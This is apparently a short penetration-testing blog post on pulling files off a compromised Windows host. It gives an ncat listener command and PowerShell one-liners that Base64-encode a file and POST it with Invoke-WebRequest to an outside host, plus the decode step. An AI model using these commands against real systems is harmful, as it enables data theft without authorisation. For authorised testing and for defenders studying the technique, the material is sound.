Data Exfiltration – Uploading from PowerShell

During a penetration testing engagement it may be necessary to extract files from a target host, though many tools exist for this job, there may be instances where interaction with the host is done only via a reverse shell and this can limit the available options.

This post goes over one method that can be used, which leverages the usage of the Invoke-WebRequest cmdlet in order to send data by using HTTP POST requests to send Base64 encoded data in the body of the request.

On the host that receives the data, start a netcat listener that pipes the data received to a file, this can be achieved with the following command

ncat -lvnp 8000 | tee data.b64

By piping the output of netcat to the tee command, it is easy to visualize the data that is being sent from the target host, since the data is Base64 encoded, it won't mess up the terminal and it will be easy to see when the data has finished transferring. Once the data transfer is complete, close the connection by pressing the ctrl+c keys on the terminal that is running the netcat listener.

On the target host, the file can be Base64 encoded with the following cmdlet

[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Path\to\file"))

The output can be stored in a variable, as shown below

$B64DATA = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Path\to\file"))

The command that is used to send the data is shown below

Invoke-WebRequest -uri http://example.com/data.raw -Method POST -Body $B64DATA

It can also be used directly on the Invoke-WebRequest cmdlet by using it within parenthesis, as can be seen in the following one-liner

Invoke-WebRequest -uri http://example.com/data.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Path\to\file")))

After the data is sent, the command will appear to be stuck, however, just need to close the netcat listener in order to terminate the session and gain the prompt back on the reverse shell.

The data.b64 file that is written on the host that receives the data contains the full HTTP POST request, however, the Base64 encoded string is a single line and can be easily decoded with the following command

tail -1 data.b64 | base64 -d > data.bin

The file data.bin can then be used or processed as needed. Though the steps above detail the process for handling binary data, these steps can be used with plain text files as well without any issues.